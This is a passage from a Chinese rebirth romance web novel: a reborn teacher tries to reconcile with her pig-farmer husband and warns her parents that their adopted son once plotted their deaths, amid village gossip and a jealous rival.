见此,村里那些爱说风凉话的人那句“嫁出去的女儿就是泼出去的水,没有儿子,你们老了怎么办?”总算是停歇了。
那些想过继一个儿子去他家,等将来合理合法继承家产的族人也暂歇心思。
但哪怕有了弟弟,温欣怡的家庭地位并没有撼动。
弟弟取名叫温伟华,在家里,他自小听得最多的是“你是男孩子,姐姐是女孩子,要照顾好姐姐知不知道。”
“姐姐不会做家务,你就多做一点。”
“你以后赚了钱,要给姐姐花。”
“……”
小的时候,弟弟就是温欣怡的跟班,指哪打哪,有什么好吃、好玩的,她也不会吝啬与他分享。
在其他家长觉得读书无用论时,在同龄人不管是种田还是在外打工的都给家里带来了收益时,温欣怡的爸妈都坚持托举两个孩子上完了大学。
前期村里人笑温欣怡的爸妈傻,后期看到温欣怡端上了教师的铁饭碗、温伟华在镇政府坐办公室时,一个两个都夸两夫妻有眼光、会养孩子。
温欣怡就像是爸妈手中的风筝,怕她飞不起来,又怕她飞得太高太远。
其实他们想让温欣怡读书并不是盼着她出人头地,只不过是因为她喜欢。
他们还是保持着一些传统观念——
女孩子不用那么辛苦,小时被父母娇宠,将来嫁个好男人,再养个好儿子,一辈子都有人照顾,就这样过完幸福一生。
这是他们对于养女儿的愿景。
温欣怡自小不缺钱不缺爱,也没什么大追求,哪怕毕业后有公司高薪想聘请她,但她还是拒绝了,听爸妈的话,回家安安稳稳地当个老师。
工作体面,受人尊敬,走到哪里,她都是爸妈的骄傲。
直到——
在婚事上,温欣怡挑来挑去,这个不喜欢那个不愿意,眼见就要成萝底橙了,爸妈才急了。
“女人年龄越大,越不好找。”
“好男人不多见,遇到就要先下手为强。”
“现在还是你挑别人,等再过两年,就是别人挑你。”
“感情是可以培养的,现在不喜欢,不代表以后不喜欢。”
“……”
温欣怡听得耳朵都起茧了。
只是没想到兜兜转转,还是许铭荣当了女婿,老两口对他是哪看哪满意——
家底颇丰、父母恩爱、兄弟姐妹团结、长相端正、稳重能干、距离近嫁人了还能经常回娘家。
虽说温欣怡对他诸多嫌弃,但许铭荣之前可是附近女婿的热门人选,不过他也是因为挑,才迟迟没有结婚。
是在探过他的口风、得知他对女儿有意后,温爸爸温妈妈才想着两个年轻人聊聊,但没想到温欣怡那么抗拒,以为两人没缘分,拉红线的心歇了,但峰回路转。
人生真是没到那个时间,都不会知道那个结局。
温欣怡和许铭荣结婚后,感情不睦,见女儿郁郁寡欢,老两口嘴上说希望两夫妻再相处相处,但心里也萌发了让温欣怡离婚回娘家的念头,想着趁还有力气,多干点多赚点钱,女儿的后盾就坚实点。
“老温,你说要不找个时间和铭荣聊聊,让女儿离婚
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算了,她这日子怎么就过成这样了呢?唉……我实在放心不下。”
这日,温妈妈和温爸爸商量道。
“行,过两天我们去把房子过户到欣怡名下,等她离婚了也算有个落脚点。”温爸爸说。
“就怕村里人不同意,离婚的女人总归是不受待见的。”温妈妈忧虑。
“我的房子我做主,又没有法律规定房子不能女儿继承。”温爸爸想到村里的长舌妇和八卦男,冷哼道,“要实在不行,就把这房子卖了,凑钱去镇上买一套还是可以的。”
温妈妈:“但在这关头,伟华要是娶妻生子,我们就帮顾不上了。”
“我们养他这么大,仁至义尽了,本来收养他的初衷就是希望他能帮衬欣怡,现在是他该回报的时候了。”温爸爸话刚落,就听见摩托车的轰鸣声越来越近。
不一会儿,许铭荣将车开进院子里停好,只见女儿眼眶红红地从车上下来,老两口登时心里咯噔一跳。
“怎么啦?这是发生了什么事?”温妈妈连忙将手上的木头丢开迎上去,目光略带谴责看向许铭荣。
“我就是想你们了。”温欣怡从妈妈的怀里钻出,破涕为笑,“看到你们好好的,我高兴。”
“女婿是不是欺负你了?”温妈妈不放心地问。
“没有,他没有欺负我。”温欣怡赶紧说道,“我已经想通了,以后我会跟他好好过日子的。”
“你不要嘴花花说得好听,要落实到行动上。”温妈妈还是第一次从她口中听到这话,忍不多嘴,“生活平平淡淡为好,不要总想着追求什么惊心动魄的爱情。”
“知道啦知道啦。”温欣怡不想听这些,往四周看了看,问道,“最近这几天,温伟华有回来吗?”
温妈妈:“没有。你找他有什么事吗?他下周末应该会回来。”
“他……”温欣怡话到嘴边,又不知从何说起。
温伟华自小就听话孝顺,村里人都说,不过给口饭吃,他的回报是成倍翻,哪怕出来工作后,拿到手的工资还愿意将百分之八十给养父养母存着,谁见了不叹一句亲生儿不如有用儿,伟华是个知恩图报的。
若不是在临死之前,见识过温伟华的真面目,温欣怡也不会相信那个相伴长大、姐长姐短的弟弟有那么大的恨意,更是狠得下心肠为一家子制定死亡计划。
温伟华装了那么多年的乖儿子,人设立得稳稳的,无凭无据,说他想要谋害性命,爸妈怕只会当笑话听。
就在温欣怡纠结着怎么说时,温妈妈已经风风火火行动起来,安排温爸爸去烧水抓鸡,让许铭荣帮忙修补漏水的房顶,拿出一筐枇杷让温欣怡坐着吃,自己则去菜地摘菜了。
白切鸡、清蒸鱼、蒸排骨、煎豆饼、青菜炒肉、花旗参麦冬龙骨汤,香喷喷的菜肴摆了一桌,温欣怡时不时给许铭荣夹菜:
“尝尝这个。”
“这个好吃。”
柔情似水,任谁都看得出她眼中的情意。
小夫妻感情好,两老是乐见其成,而许铭荣则是百般不适应。
眼见碗里的饭菜叠得跟小山似的,许铭荣闷头不语,加快了干饭的速度。
5. 粗鲁屠夫VS傲慢老师
“你说伟华想害我们?不可能!”
果不其然,一听到温伟华的坏话,温爸爸和温妈妈第一反应就是不信。
“你是不是和他闹别扭了?”温妈妈猜测,想起上次回来,温伟华还给两老买了新衣服,别提有多熨帖,皱眉道,“这话可不能乱说,影响感情。”
“妈,你以为我会随随便便说这些骗你吗?我才是你们的亲生女儿,你们要是不信,到时……到时……”温欣怡想起当时得知两老去世的消息,那种悲痛欲绝的感受她不想再体验。
“好好说,怎么说着说着就哭了呢?”温妈妈见温欣怡眼泪说流就流,心疼极了,连忙哄道,“那你说要爸妈怎么样,都听你的,不哭不哭。”
“反正他和我之间,你们只能相信我!”温欣怡霸道地说。
上一世温欣怡大部分时候都活在自己的世界里,只顾享乐,偶尔还要靠爸妈资助才能保持精致体面的生活。
被偏爱的那个总是有恃无恐,实话实话,她这个亲儿女,对爸妈的关爱不及温伟华这个养子。
她没有证据证明温伟华有谋害之心,上一世警察调查说是因为煤气泄漏,加上门窗紧闭,爸妈才会中毒死亡。
那时温伟华伤心得连饭都吃不下,哭得眼睛都肿了,温欣怡对这是一场意外没有异议。
可谁知……
不得不说,温伟华是天生的戏子,骗过了所有人。
只不过上一世爸妈去世那天,温伟华有不在场证明,且房间弄成了密室,没有外人闯入的痕迹,这些都是一团迷。
她一定要揭穿他的真面目。温欣怡暗暗在心里发誓。
那时爸妈还活着的时候,温欣怡总觉得余生漫长,孝顺是好久好久之后的事,一朝阴阳相隔,后悔已来不及。
如今温欣怡看着笑得慈祥的爸爸妈妈,一切都还来得及,真好啊。
温欣怡再三叮嘱二老一定要警惕温伟华,又细细科普了使用煤气注意事项,还仔细交代了一些急救措施。
看着女儿严阵以待的样子,二老从漫不经心到郑重其事,多多少少是听进去了一点。
他们聊天的功夫,许铭荣将被暴雨冲刷下的挡路沙石用铲子和斗车运到别处,疏通好了道路。
紧接着按照温爸爸的吩咐,着手准备嫁接门前的李子树。
“你看看,铭荣多能干,过日子就是要挑这种眼里有活的。”温妈妈不经意间转头,看到这一幕,夸一嘴。
窗外,许铭荣认真嫁接树木的样子在阳光的照耀下,蜜色的肌肤壮实而有力,彷佛一切问题在他手中都可迎刃而解,显得格外迷人。
真是越看越顺眼,之前怎么会觉得他平平无奇呢?真是瞎了眼。
“他这个人,是真的不错,女儿啊,你该使唤就使唤,夫妻之间,不能太客气生分。”温妈妈话头一转,传授经验道,“他这种身材好处多多,你要学会享受……”
“妈!我去给他送水!”温欣怡在妈妈的打趣声中,羞红了脸,借口逃了。
“这孩子……”温妈妈无奈地笑了笑。
“铭荣,累不累?喝点水吧。”温欣怡端着一杯水,来到许铭荣面前。
“哦,好。”许铭荣接过水,咕噜噜一口气喝完了。
“你还要不要?”
“不用了。”
温欣怡蹬蹬蹬跑回去放好杯子,又蹬蹬蹬跑到许铭荣跟前,赞叹道:“你真厉害,这都会。”
话刚落,一根枝条的芽被折断了。
温欣怡:……
许铭荣:……
无言。
沉默。
在火辣辣的目光中,许铭荣手忙脚乱,在接连不小心折断三根枝条后,忍不住开口道:“你不要在这里看着我。”
温欣怡讪讪地走开了。
……
吃完晚饭后,温欣怡想在娘家多住几天,但温妈妈见小夫妻感情正是升温的时候,硬是将她摁在后座上。
“铭荣,吃完了鸡,再过来抓。过几天香蕉差不多能砍了,记得来带点回去吃。菜你们吃不完的喂猪……你和欣怡好好过日子啊……得闲再过来坐坐。”
温妈妈手脚麻利,边说边将两只用稻草绑着脚的鸡挂在车头上,再把一麻袋蔬菜在后尾架捆好。
“来,拿着,多吃点枇杷,对嗓子好。”
一袋枇杷被塞进手里。
“不要了!不要再拿了!”温欣怡看着老妈恨不得把家搬空的架势,真是怕了她,戳了戳许铭荣的后背,催促道:“快走快走!”
“你们得闲再过来家里坐。”许铭荣说完,启动摩托车,“轰——轰——轰——”,开远了。
回到家中,许铭荣将鸡关进笼子里,把菜从袋里拿出来放好,再去刷锅烧水。
见他忙来忙去,温欣怡想搭个手一起干,但他动作麻利,并没有给她帮忙的机会。
这会儿,许铭荣安静地坐在灶膛前添柴,火光给他渡了层暖色调,侧脸看过去,卷翘的睫毛像蝴蝶振翅般眨动,在眼睑处投落一片阴影。
“砰!砰砰!砰砰砰!”
心头的小鹿不受控地蹦跶起来,隐秘的欢喜在蔓延。
见许铭荣疑惑地看过来,怕被看出什么,温欣怡下意识转身就跑。
跑进客厅,温欣怡躁动的心情慢慢平复下来,环顾四周,当目光落在那些个人物品时,那无形的界限无声地提醒着两人的关系是多么恶劣。
温欣怡将印着牡丹花和囍字的搪瓷杯放到了一起,看着两个杯子并列,成双成对,顺眼多了。
“水烧好了,你要先去洗澡吗?”许铭荣走进来问。
温欣怡猛地被吓了一跳,做贼心虚般移动身躯遮了遮搪瓷杯:“你,你先洗吧,我不着急。”
“好。”
她的和颜悦色,让许铭荣松了一口气,毕竟之前他要是这么问,温欣怡肯定只会不客气地怼道:“我才不用你烧的水!看到你就烦!”
现在只有两个人,她就是做戏也没人看,许铭荣试探这番,也是想看看她会不会翻脸。
她没有冷嘲热讽、没有将他当空气,许铭荣有点不知如何应对了。
思来想去,温欣怡就像是个难解的谜题,他从来都搞不明白。
许铭荣在心底问自己,还想和温欣怡好好过日子吗?
像寻常的夫妻那般,遇事有商有量、床上恩爱床下和睦、生儿育女、孝敬父母等,一起维持小家庭的运转。
一想到结婚以来,温欣怡的做派,许铭荣又打消了这些念头,冷静下来。
温欣怡看出许铭荣是百般不适应她如今想缓和两人关系的做法,但她有信心等到破冰的那天,毕竟许铭荣爱她爱到丢了命都愿意。
趁许铭荣洗澡的功夫,温欣怡思考着怎么将这座房子布置得温馨点,还有,两夫妻分床睡不利于培养感情,今晚要不要一起睡呢?
温欣怡在客厅里徘徊,脑袋里有两个小人在争吵,一个说感情之事不宜操之过急,慢慢来;一个说择日不如撞日,不要总在等待中蹉跎岁月。
她纠结来纠结去,许铭荣洗完澡了,洗完衣服了。
他的脚步声越来越近,从身旁经过时,皂角的清香涌入鼻翼,温欣怡抬起头,想说
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些什么,但房门“啪”一下关上了,将他的身影阻隔在内。
想说的话憋了回去。
“唉——”
温欣怡长叹口气,肩膀耸下来,去舀水洗澡了。
指针的转动中,时间在流逝。
夜深了。
在此次温欣怡剧烈的心理斗争中,是第二个小人赢得了胜利。
她深吸口气,为自己加油打气,抱起枕头被子,挺直身板,眼神坚定地往许铭荣的房间走去。
许铭荣还没睡,光亮透过门缝。
“咚咚咚。”温欣怡轻轻叩了叩门,小心翼翼地问,“铭荣,我可以进来吗?”
“你这是……”许铭荣一打开门,见她这架势,愣了愣。
“今晚开始,我们……一起睡吧。”温欣怡脸蛋绯红,说完这句话,自顾自从他的侧边进屋,将被子和枕头铺好。
许铭荣如此爱她,会被拒绝没有在她的考虑范围内。
“你认真的?”许铭荣黑眸微眯,情绪如同一滴水滴落到沸腾的油锅中,心神完全被搅乱了。
“认真的。”温欣怡重重点头,说话的功夫,她已经乖乖躺床上盖好被子了。
她这乖巧柔顺模样,显然是做好了那方面的准备,但许铭荣没做好准备啊。
以往那些抗拒、咒骂的画面,慢慢和现在的她重合身影。
“你……”
“你……”
两人同时开口。
尴尬在蔓延。
“你准备睡觉了吗?”温欣怡说完,不自觉攥紧拳头,心提得高高的,这话显得她好像很急色一样。
虽然她是做好了要做那方面的准备,但是这一晚她想单纯盖被子聊聊天也挺好,她过来主要是想培养感情的。
不过如果他想的话,她也是愿意的。
“我还有些账目没算清楚,你困了就先睡觉吧。”许铭荣的视线放回到表格之中,佯装淡定,内心的兵荒马乱无人知。
温欣怡听懂了他的言下之意——今晚不会做。
紧攥的拳头松开,心落到了实地,温欣怡有种如释重负的感觉。
毕竟两人在情感上的交流真是少之又少,之前做那事她都是拿出拼个你死我活的架势,隔阂不是说消就消的。
“要不要我帮忙?”温欣怡走下床,探头去看。
“不,不用。”她靠得那么近,许铭荣脑子都不会思考了,索性将账目本合上,说,“我还是明天再算,睡觉吧。”
“哦。”
“我去上个厕所。”许铭荣丢下这一句,慌慌张张地往外走。
好久好久,温欣怡都怀疑他是不是掉进粪坑里了,许铭荣才步伐缓慢地走进屋。
“你好慢啊。”温欣怡听到动静,困倦地揉了揉眼睛。
“我关灯哦。”许铭荣本来想着拖到她睡着的,但没想到她在等他回来。
“嗯。”
“啪”一声,灯熄灭了,窗外明月皎皎,借着月光,许铭荣小心翼翼地躺到了床上。
两个人直挺挺地躺着,彼此的气息交织一起,感官在寂静的夜里放大。
温欣怡像一只蜗牛般,身子往许铭荣的位置挪了挪,察觉他没什么反应,似在纵容,试探的小手从被子慢慢伸出,将他的胳膊搂了过来。
许铭荣动了动。
“不可以吗?”温欣怡小声问。
如果他说出拒绝的话,她会立刻将手抽回,缩回壳里。
“睡觉吧。”许铭荣没再动,打了个哈欠。
在他的身旁,很有安全感,睡意袭来,温欣怡很快睡着了。
6. 粗鲁屠夫VS傲慢老师
翌日,是星期日。
天蒙蒙亮,温欣怡的生物钟准时醒过来,当发现自己睡得歪七扭八的,且脑袋的方向移到了床中间,一只脚蹬在许铭荣的脸上。
这真是太冒犯了。
温欣怡小心翼翼地将脚缩走,准备起床。
“醒了?”
刚一动作,许铭荣乍然出声,吓了她一跳。
“额……醒了。”温欣怡不好意思看他,借着叠被子的动作故作自然。
见许铭荣坐起身,手指揉捏着眉间,似在缓解困倦。
“不好意思啊,我睡姿不太好。”温欣怡难为情道。
“没事。”许铭荣知道她的睡姿多种多样,之前同床睡时搂着她还好,但昨晚他任由发挥,尽显无拘无束,加上他心里惦记着事,一整晚都没怎么睡好。
“这床比较小,要不你今晚回你的房间睡吧。”许铭荣建议道。
温欣怡附和道:“你的床是比较小,没有床垫,床板硬得硌人,是没有我房间那床舒服。”
她这样嫌弃的话在预料之中,应该习惯了的,但这次许铭荣听在耳中,心还是有点闷闷的难受。
“今晚开始,你也搬到我房间睡吧。”温欣怡话头一转,跪坐着挪到他的腿上,亲昵地环抱住了他的脖子。
“嗯——”许铭荣的呼吸登时粗重了几分。
温欣怡的身体又娇又软,随着两人距离的拉近,她跪坐在了他的腰腹之处,身上的铁杵瞬间被唤醒,许铭荣双掌适时扣住她的腰,将人提到了侧边,紧接着扯来被子要掩盖什么。
“还是一个人睡自在。”许铭荣撇过头不去看他,顿了顿,说,“而且,我会睡脏你的花被子。”
回旋镖再次扎到身上,之前话有多难听,她专挑那些对他说,现在想和好,说过的话成了拉近关系的绊脚石。
“一个人睡自在,两个人睡温暖。”温欣怡厚着脸皮,柔声哄道,“被子睡脏了就洗,没关系。”
或许是听出了她话里的纵容之意,丝丝缕缕的委屈缠绕在心间,许铭荣变得矫情起来,还是拒绝道:“不了,我很脏,不配和你睡一起。”
这又是她说过的话。
温欣怡收敛起嬉皮笑脸,郑重道歉:“我为之前伤害过你的话道歉,是我太傲慢了,对你有偏见,自以为是,能给个弥补的机会吗?”
“我们就这样井水不犯河水挺好的。”许铭荣说。
“不好。”或许心底知道他是爱自己的,温欣怡并没有被他的冷脸吓退,又凑近了些,“你不脏,睡过的床单容易脏,是人的皮肤油脂分泌旺盛所致,这是正常现象,你脏我也脏。”
不待他回答,温欣怡快速说道:“就这么说定了,我先把你被子搬过去。”
她卷起被子抱作一团,脚好比踩了风火轮,一会儿就没影了。
许铭荣嘴角不自觉扬起,但须臾之间又沉下脸,不该那么轻易被哄好的,万一这一切不过是她心血来潮,玩玩而已,他却当真了,到时怕是不能回归正常生活。
他平复了一下身体的躁动,才面无表情地出去刷牙洗脸。
“早餐吃鸡蛋青菜汤面怎么样?”温欣怡刚把锅洗完,回头看到许铭荣走进来,问道。
许铭荣点点头:“可以。”
“这里不用你帮忙。”温欣怡商量道,“我想在屋前那块空地种上一些玫瑰花可以吗?”
之前温欣怡没将这里当家,屋前屋后的土地长草都是许铭荣有空就去锄。
“嗯。”许铭荣言简意赅,没有意见。
“那你有空的话就去除除草、松松土,再弄成一行行行不?”
“行。”许铭荣见她不用打下手,转身去锄地了。
晨光熹微,空气微凉,许铭荣一锄头下去,草叶上的晶莹露珠颤了颤,齐齐滚落,洇湿了泥土。
闻着厨房传来的香味,许铭荣干劲十足。
“铭荣,面条煮好了,吃面啦!”
听到温欣怡的喊声,许铭荣将锄头放好,洗干净手来到客厅。
饭桌上,两大碗面条热气腾腾,香气四溢,面上铺撒了煎鸡蛋、虾皮、青菜、葱花,卖相很好。
视觉味觉双重影响下,许铭荣的肚子唱起了空城计。
“咕噜咕噜——”
声音在这寂静的空间很明显,许铭荣窘得脸红成一片。
“开动开动!”温欣怡假装没听到,憋着笑。
许铭荣坐下,迫不及待夹起一筷子送进嘴里,虽然又热又烫,但吃得好爽。
面条劲道,汤汁浓郁,一口下去,回味无穷。
“吸溜——吸溜——”
许铭荣故意发出吵吵的噪音,吧唧着嘴,见温欣怡看过来,梗着脖子道:“面条就是要这样吃才够爽!”
他是有故意惹她生气的嫌疑。
许铭荣甚至在心里催促:【骂我吧!翻脸吧!反正结果都那样!】
但没想到的是,温欣怡学着他的样子,“吸溜——吸溜——”嚼着面条,吃完长长一根,还发出感叹:“爽!”
“是这样吃吗?”温欣怡朝他眨巴了下眼,笑意略带揶揄,好似看穿了他的小心思。
“你不是说这样吃东西很没礼貌吗?”许铭荣不自在道。
“现在没有外人在,想怎么吃就怎么吃。”温欣怡已经无所谓了,在他面前,她说过的话就是用来打脸的。
许铭荣没再翻旧账,没再刻意发出噪音。
吃完早餐后,许铭荣将土都翻好了才准备去猪场。
“中午我去给你送饭,你想吃什么?”温欣怡见他将摩托车往外推,追上前问。
“不用麻烦了,到时我随便找个馆子吃就行。”许铭荣说。
“不麻烦,我想给你送不行嘛?”温欣怡本来雀跃的眉眼一下子耷拉下来。
“随便你。”许铭荣松口。
“那你想吃什么?”温欣怡追问。
“都可以。”
“行,那我就随便做咯。”
“嗯。”
许铭荣长腿一迈,坐上摩托车,钥匙一插,脚一蹬,手一转,疾驰而去。
原来热脸贴冷屁股是这种感觉,当表现出的热情没有得到同等的回馈时,还蛮让人沮丧的。
不过这一切都是她咎由自取,是她先浇灭了人家的热情,但只要双方还爱着彼此,破镜重圆不是问题。
这么一想,温欣怡振作起来,
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打算去市场买菜。
戴好帽子、穿好防晒衣、拎起编织买菜篮,骑上自行车,出发了。
经过村口小卖部的榕树头时,见大婶大娘们围坐在一起做着手工,温欣怡饶有礼貌地点了点头。
“昨天猪肉荣是不是和温老师回娘家了?”
“他们什么时候感情那么好了?”
“谁知道,我看他们大袋小袋出去,又大袋小袋回来。”
“要我说,温老师眼睛是长在了天上,猪肉荣长相多端正,能干顾家,她竟还嫌弃。”
“就是就是,读多两粒书就自以为了不起,你看她走路一扭一扭的,背地还不知道怎么风骚。”
“不过她肯定不会风骚到猪肉荣的跟前,哈哈哈——”
“说的是,她看猪肉荣那眼神,跟有仇似的。”
“可不是有仇,他们当年会结婚,听说……”
“……”
看着温欣怡远去的背影,村里的八卦组叽叽喳喳,有意无意用夸张粗俗的腔调去调侃她的事迹,彷佛通过贬低她可以抚平那愤世的情绪。
因为温欣怡不用风吹日晒地里刨食,每日可以打扮得漂漂亮亮,一日三餐想吃肉就吃肉,没有婆媳孩子吵闹,娘家有钱帮衬……
这么一对比,她活得诗情画意,和这片家里家外一手抓的妇女们是如此格格不入。
所以,她们嫉恨,恨不得把温欣怡拽落到同样的境地,受苦受难。
只要没碍到她的眼,那些难听的话没传到耳朵,温欣怡才不管她们是怎么想的。
想到许铭荣破破烂烂的毛巾、有窟窿的拖鞋、换洗的衣服多是买猪饲料送的,温欣怡决定先去买这些。
只是毛巾好买,拖鞋和衣服,他穿多少码来着?
“我还是下次再来买。”温欣怡将看中的衣服放下,对销售员说。
又去买了一些生活用品,温欣怡才转向去菜市场。
回到家时,差不多到中午了。
温欣怡先将汤炖上,煮的饭放另外一个锅,一边点火烧菜,一边择菜。
她动作麻利,沉浸在做菜的氛围之中,很快就做好了三菜一汤。
*
再说另一边,许铭荣眼见太阳越爬越高,快到头顶了,心情变得激动且忐忑。
温欣怡真的会来给他送饭吗?
他不确定。
“老板,我来了,等急了吧。”
到了饭点,刘凤珍提着几个保温桶过来,见许铭荣站在路边眺望,还以为是在等自己,羞涩一笑。
刘凤珍的爸妈被雇来喂猪,偶尔刘凤珍来送饭时,也会捎带许铭荣的那一份。
“你爸妈在那边,送去就行,我的那一份分给别人吃吧。”许铭荣一眨不眨地盯着那弯弯曲曲的小路,可惜想见的那个人还没有出现。
“老板,你在等谁吗?”刘凤珍以为他要等人一起下馆子吃,好奇道。
“没有等谁,我就随便看看,你忙你的。”许铭荣冷哼,愈发觉得温欣怡在骗他,怎么还没来。
见他心情不太好,刘凤珍还想说些俏皮话逗他开心,但许铭荣深深地看了一眼道路的尽头,转身回到树下坐,骨碌碌抽起了水烟筒。
7. 粗鲁屠夫VS傲慢老师
刘凤珍家在邻村,比许铭荣小五岁,因为刘凤珍的妈妈对许铭荣的妈妈有救命之恩,看在这份上,平时刘凤珍只要送送饭或者搭把手喂猪,三天打鱼两天晒网,许铭荣睁一只眼闭一只眼,没扣过工资。
而自和许铭荣有所接触,刘凤珍就对这个高大能干的男人动了心。
知道许铭荣夫妻感情不好,刘凤珍总觉得有一天他们会离婚,等到那一天,就是她上位的好时机。
所以在这之前,刘凤珍在许铭荣面前,营造出一个勤劳乖巧、善良温柔的贤妻良母形象,务必在他考虑二婚时,第一时间想起她。
“老板,人是铁饭是钢,一顿不吃饿得慌,有天大的事先吃饭再说。”刘凤珍见他抽着水烟筒,烟雾缭绕中,特别有男人味,不禁心神一荡,摇摆着腰肢将饭菜端到他面前的木桌上,夹着嗓音劝说道,
“今天我做了青椒炒肉、葱花煎蛋、糖醋里脊,还有紫菜蛋花汤,老板你就给我个面子尝尝嘛。”
“你……”许铭荣抬眼一瞪,却看到温欣怡站在不远处,心中一喜。
“看来有人给你送饭,我先走了。”温欣怡把网兜装的铝饭盒重新放回车篮,将自行车掉头,准备打道回府。
“我没有吃她的饭菜,我在等你。”许铭荣快跑过去,拉住了她的车尾架不让走。
“温老师,平时我有空都会过来送饭,没想到今天和你撞上了,老板也没提前说一声,我就多准备了一份。”刘凤珍来到许铭荣的旁边,黑亮的眼眸透着几分单纯柔弱,说,“你今天真是大驾光临,不过猪场脏,你穿这么漂亮的裙子来,小心弄脏了。”
明明她一副为你好的模样,听在耳里却很不得劲。
温欣怡正想说些什么,却听许铭荣没好气道:“她又没去喂猪,怎么会弄脏裙子?你有空就去帮一下你爸妈。”
刘凤珍的脸色顿时变得尴尬起来,她这会儿自然是不敢将心思挑明,闷闷不乐地走开了。
许铭荣拉着温欣怡往屋里走。
“你坐下歇歇。”许铭荣将一张木圆凳擦了又擦才示意道。
温欣怡没有坐,随便看了看,这房屋格局是两房一厅,一间大房做仓库堆放饲料等杂物,还有一间小房做办公室,大厅有一张木桌子,一大张根雕茶几和三张磨得光滑的实木圆凳,一些生活用品零零散散摆放期间。
许铭荣见她饶有兴趣,想带她参观一下他的产业。
温欣怡摆摆手,顺势坐在他的对面:“不急,先吃饭,我特意找你一起吃午饭的,没想到……哼哼……”
门外,刘凤珍站在不远处,借着打扫地面垃圾的动作,视线有意无意往里瞟。
刘凤珍脸颊圆润,浓眉大眼,两根乌黑茂密的粗辫子垂落在肩膀上,穿着修身的的确良衬衫和喇叭裤,随着她干活的动作,勾勒出充满力量的曲线,一看就是个血气充盈,精力旺盛的。
见温欣怡看过来,刘凤珍不屑地撇撇嘴,旋即才把目光移开。
温欣怡感觉有被冒犯到,直言道:“她是不是喜欢你?”
“啊?什么?”许铭荣正忙着把铝饭盒一一打开,突然听到她说起“喜欢”二字,思绪一时之间没转过来。
“那个女生,喜欢你。”温欣怡朝刘凤珍的方向努努下巴。
许铭荣朝刘凤珍看了一眼,满是不可置信:“她喜欢我?喜欢我什么?你别乱说。”
在温欣怡日复一日的嫌弃打压下,许铭荣觉得自己是一个糟糕至极的伴侣,是不值得女人青睐的。
“她看你的眼神,可不算清白。”温欣怡分析道,“而且我从来没有和她打过交道,她为什么对我有敌意?都是因为你的缘故。”
许铭荣回想了下,刘凤珍对他和其他人的确有点不同,之前他还以为因为自己是老板,所以才有所优待,也就没放在心上。
见温欣怡一点争风吃醋的迹象都无,许铭荣还是不可避免觉得挫败,企图从她口中能问出些好听的话,问:“那你觉得我有什么值得被人喜欢的?”
是她说要好好和他过日子的,为什么?他有哪一点值得她回心转意呢?他也想知道。
这话听着要人向他表白似的。
温欣怡一窘,热气往脸上升,红脸道:“抛开偏见的话,你很不错,像你这样的好男人,可不多见。”
可不是,村里大多数男人奉行的是——老婆孩子不听话,打一顿不行,再打多几顿。
但许铭荣哪怕在力量上可以碾压她,吵得再厉害,他都没有动过手。
那些刻意被忽略的细节在重生之后,温欣怡收起傲慢,终于看到了他对她的包容与爱意。
温欣怡并没有将刘凤珍当作要争风吃醋的对手,一是因为对许铭荣有信心,二是她对自己的长相能力有自信,
“那你……”
“我饿了,不说了,吃饭吧。”
温欣怡不知道隔墙有没有耳,那些粘腻的话说出来怪难为情的,赶紧转移话题。
排骨玉米莲藕汤、红烧肉、苦瓜炒蛋、蒜蓉大虾、蒸米饭,每个饭盒都压得实实的,分量足,卖相好,看得人胃口大开。
两人不再说话,沉浸在享受美食的氛围之中,平静而美好。
吃饱喝足后,许铭荣带着温欣怡到附近逛逛,越靠近猪舍,尖锐嘈杂的猪叫声越刺耳,臭味也越难闻。
“里面没什么好看的,我们就不进去了。”许铭荣在猪舍外围停住了脚步。
“嗯。”温欣怡没想一探究竟,本以为他养十几头猪差不多,但看这规模,应该有几百头猪吧。
“猪舍后面有个鱼塘,猪排的粪便可以喂鱼,这可以减少成本,双重利用……”许铭荣讲起熟悉的领域,话也变得多起来。
“啊?鱼吃猪的粪便?”温欣怡一想到吃过的鱼有可能是这样长大的,忍不住犯恶心。
“对啊。”许铭荣理所当然地答道,转头见温欣怡面露不适,安慰道,“鱼吃那个……很快消化完的,加上是洗干净才做菜,没事。”<
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p>温欣怡脑海中自动浮现出一个画面,伴着阵阵微风挟裹着臭味飘进鼻翼,胃里翻滚,刚吃下的饭菜当场呕了一地。
许铭荣见她这般难受,不禁后悔,早知道就不说起这个了。
“一般吃这个的是鲶鱼鲫鱼杂食性的鱼类,我观察到你很少吃这类型,你比较常吃的是海鱼。”许铭荣继续宽慰。
“海鱼不吃这个吗?”温欣怡擦了擦嘴巴,问道。
“不吃!”许铭荣笃定地说。
“那就好。”温欣怡好受了些。
两人往外走,闻不到那阵臭味,漱了口,许铭荣顺手砍了路边一棵菠萝下来,削皮分成四块,泡盐水,等了几分钟,温欣怡拿起一块吃。
嗯~~~清香多汁的菠萝,甜中带点酸,引爆舌尖,让人回味无穷,吃完一口还想再吃一口,温欣怡总算没那么难顶了。
“菠萝不能多吃,不然嘴巴会麻会流血。”许铭荣说。
“哦哦。”温欣怡吃完两块压下那股恶心劲,听话没再吃。
沿着一条小路走,许铭荣指着对面的山说:“等这一批猪出栏,我就把这片山都承包下来种果树,到时你觉得种什么好?”
“这一整片山吗?”温欣怡张开双臂比划了下,惊讶道。
许铭荣自觉是做出了一点成绩,当她以那略带崇拜的眼神看向自己时,难以抑制住内心的激动,但他没表现出现,只淡淡地点点头:“嗯嗯。”
看着连绵起伏的山脉,温欣怡对许铭荣所持有的资产有了新的认知。
“菠萝橙子木瓜香蕉青枣苹果桃子李子雪梨葡萄荔枝龙眼榴莲西瓜哈密瓜……”温欣怡一口气把想到的水果都说了个遍。
想到一年四季都有吃不完的水果,想想就开心。
“噗嗤——”她好可爱,许铭荣忍不住笑出声。
“对哦,有些果树在我们这边种不活。”温欣怡知道自己想得天真,但被他促狭的笑意笑得羞恼起来。
“没事,种不活的,我们买来吃,我出钱买。”许铭荣豪气道。
“谁要花你的钱?”温欣怡瞪了他一眼。
以往她说出这句话时,是不屑不耐烦的,但今时今日她所表现出的是娇嗔,眼波流转间彷佛还带着绵绵的情意。
许铭荣心跳漏了一拍,等回过神来,暗怪自己不争气,人家还没做什么大动作呢,他就沦陷了。
【克制!淡定!】
他在心里默念。
“我现在钱赚多了没处使,如果你要用钱的话,跟我说声就行,你是我老婆,养你是应该的。”许铭荣面无表情地说。
”谁要你养,我可以赚钱养活自己。”温欣怡才不承认自己听到这话狠狠心动了,嘴硬道,“不跟你说了,我要回去了。”
“那么快就回去吗?”许铭荣还想她多留一会儿,但猪场实在没什么好逛的,也没什么好借口留人,只好看着她的背影离开了。
想到要给她更好的生活,他赚钱的欲望更加强烈了。
8. 粗鲁屠夫VS傲慢老师
